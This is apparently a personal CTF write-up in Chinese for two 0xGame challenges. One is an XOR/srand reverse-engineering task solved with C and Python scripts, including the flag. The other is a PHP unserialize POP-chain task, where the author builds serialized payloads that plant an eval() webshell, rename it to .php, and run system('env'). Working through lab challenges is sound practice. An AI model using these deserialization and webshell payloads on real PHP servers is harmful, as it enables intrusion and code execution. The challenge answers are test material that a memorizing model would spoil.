0xgame RE

Xor::Random wp

参考官解

image-20241029215112336

image-20241029215247997

看到一大堆,别慌,冷静分析

主函数大概可以划分成三部分:先检查了flag的格式和长度,之后⽣成随机数 v21 异或加密⼀边检查。注意密钥从 v21和 重点说⼀下中间随机数的部分。

我们如果仔细看了这些代码,就知道中间只是个异或,那么密文在哪,我们沿着算法网上找就能找到v13,不过还不能直接用(当然c语言可以直接用这个),这是小端存储的也就是说0c,4f,….,存储的,建议先去了解

那么问题就是中间的v21了,他是个(伪)随机数,只要设定了种子,每次出来的结果都是一样的(当然受到版本的影响)

1
2
3
4
5
6
7
8
9
10
inited = init_random();
std::string::basic_string(v20, v14);
v6 = check((__int64)v20);
std::string::~string(v20);
if ( v6 )
{
srand(0x1919810u);
inited = rand();
}
v21 = rand();

分析这段我们就知道,先会生成一个随机数,然后根据check,v6(点进去check,我们发现check肯定是0),所以v6的那个if肯定不会执行,下面生成的随机数会给v21,上面的inited用不到,那样我们只要得到v21就能解密了,有两种方案:

这里主要的加密方法是异或,异或算法的特性是a^b=c b^c=a,不懂自己查,所以我们把源码还原出来再执行就行

方法一:静态分析

我们顺着逻辑写一遍c代码就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
unsigned char num, key;
unsigned char* array;
unsigned long long v13[4];
v13[0] = 0x1221164E1F104F0C;
v13[1] = 0x171F240A4B10244B;
v13[2] = 0x1A2C5C2108074F09;
v13[3] = 99338668810000;
srand(0x77);
num = rand();
num = rand();
array = (unsigned char*)v13;
for (int i = 0; i <= 29; i++){
key = (i % 2 != 0 ? num : num + 3);
array[i] ^= key;
}
printf("0xGame{%s}", array);
return 0;
}
num = rand();
num = rand();这里要Rand两次

srand() 设置固定的种子后,rand() 会基于该种子生成一个伪随机数序列。每次调用 rand(),都会按照这个序列的顺序返回下一个数。即使种子相同,不同调用顺序下的结果依然会不一样,因为 rand() 是在一个依次递进的伪随机数序列中产生值。

方法⼆:动态调试直接拿密钥

我们可以动态调试拿到v21的值进行解密

image-20241029220107488

终端输入0xGame{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}

V21点进去发现值

image-20241029220209267

v13点进去我们还能发现我们正常理解的顺序的值

image-20241029220252584

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

f = '0xGame{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'

enc = [
0x0C, 0x4F, 0x10, 0x1F, 0x4E, 0x16, 0x21, 0x12, 0x4B, 0x24,
0x10, 0x4B, 0x0A, 0x24, 0x1F, 0x17, 0x09, 0x4F, 0x07, 0x08,
0x21, 0x5C, 0x2C, 0x1A, 0x10, 0x1F, 0x11, 0x16, 0x59, 0x5A
]

key = 0x7B

for i in range(len(enc)):
if i & 1:
print(chr(enc[i] ^ key), end='')
else:
print(chr(enc[i] ^ key + 3), end='')

r4nd0m_i5_n0t_alw4ys_’Random’!

加上0xgame就行

ez_unser wp

之前一直以为自己会了,做了一遍还是不会,这次写的详细一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
class Man{
private $name="原神,启动";
public function __wakeup() {
echo str_split($this->name);
}
}
class What{
private $Kun="两年半";
public function __toString() {
echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __get($name){
var_dump($this->Hobby);
}
}
class I{
private $name="Kobe";
public function __debugInfo(){
$this->name->say();
}
}
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
unserialize($_POST["data"]);
Warning: Undefined array key "data" in /root/index.php on line 58

Deprecated: unserialize(): Passing null to parameter #1 ($data) of type string is deprecated in /root/index.php on line 58

解读一下

Say里面有一个$this->evil->Evil();Evil()方法在Mamba里有,我们可以得知如果evil是Mamba对象的话,可以调用Evil方法

1
2
3
4
5
6
7
8
9
10
11
12
13
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}

那 __call如何调用呢,查阅资料得,这个方法在对象中调用一个不可访问方法时调用 ,看到这段代码

1
2
3
4
5
6
class I{
private $name="Kobe";
public function __debugInfo(){
$this->name->say();
}
}

我们没找到say()这个方法,我们可以假象可能调用了一个不可访问方法时调用了Say里得call,那么name也就可以是Say的对象

那__debugInfo()如何被调用的?可以参考下面的文章

魔术方法__toString()和__debugInfo()详解 - 编程领地 - 博客园

和__tostring()方法一样,由var_dump()、print_r()打印对象体的时候,控制对象体要输出的属性和值;

也就是说,它可以被var_dump()、print_r()时被调用

1
2
3
4
5
6
class Can{
private $Hobby="唱跳rap篮球";
public function __get($name){
var_dump($this->Hobby);
}
}

找到了var_dump

那么Hobby就是I的对象

那么__get如何被调用呢

读取不可访问属性的值时,__get() 会被调用。也就是,当想要获取一个类的私有属性,或者获取一个类并为定义的属性时。该魔术方法会被调用。

也就是跟call差不多,如果访问一个不可访问的属性,会调用get

1
2
3
4
5
6
7
class What{
private $Kun="两年半";
public function __toString() {
echo $this->Kun->hobby;
return "Ok";
}
}

我们看到这,在其他类并没有hobby这个属性,因此在这里自动调用了get,那么Kun就是Can

__toString如何被调用的?跟debuginfo一样

所以找到

1
2
3
4
5
6
class Man{
private $name="原神,启动";
public function __wakeup() {
echo str_split($this->name);
}
}

在这里需要输出和字符串操作的时候被调用了

__wakeup是对象建立时被自动调用的

那么我们可以进行反序列化,有两种方式

第一种,在外面反序列化,我的代码是错的,因为这种方式需要注意private,容易出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class Man{
private $name;
public function __wakeup() {
echo str_split($this->name);
}
}
class What{
private $Kun;
public function __toString(){
echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby;
public function __get($name) {
var_dump($this->Hobby);
}
}
class I{
private $name;
public function __debugInfo(){
$this->name->say();
}

}
class Say{
private $evil;
public function __call($name, $arguments){
$this->evil->Evil();
}
}
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
$man = new Man();
$what = new What();
$can = new Can();
$i = new I();
$say = new Say();
$mamba = new Mamba();
$say->evil = $mamba;
$i->name=$say;
$can->Hobby=$i;
$what->Kun=$can;
$man->name = $what;
echo urlencode(serialize($man));
?>

第二种方式,在内部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Man{
private $name="原神,启动";
public function __construct() {
$this -> name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct()
{
$this -> Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct() {
$this -> Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this -> name = new Say();
}

}
class Say{
private $evil;
public function __construct() {
$this -> evil = new Mamba();
}

}
class Mamba{
}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>

__construct是对象构建执行的代码

在这里我们再回头看看Evil的逻辑,就是time()方法生成一个时间序列(不重要).log,然后我们要post一个content写入这个文件中,执行恶意代码,但问题是.log文件是不能被php系统直接解析的

1
2
3
4
5
6
7
class Mamba{
public function Evil(){
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}

我们看到下面,这里的意思其实就是给文件改名,我们可以改后缀名改成php,通过o和n,所以这里我们也需要反序列化

1
2
3
4
5
6
7
class Out{
public function __call($name,$arguments){
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Man{
private $name="原神,启动";
public function __construct() {
$this -> name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct()
{
$this -> Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct() {
$this -> Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this -> name = new Out();
}

}
class Out{
}
$man = new Man();
echo urlencode(serialize($man));
?>

我们可以conten里塞入一些代码让他执行

post:

1
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&content=<?php eval($_POST['shell'])?>

这里shell就是我们后面需要post的恶意代码,然后给文件改名

image-20241022152007113

1
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&o=1729583168.log&n=niubi666.php

在上传shell的内容,找到flag

这也是一句话木马

挺好玩的

image-20241022162452966

第二种方法获取环境变量

post:

1
shell=system('env')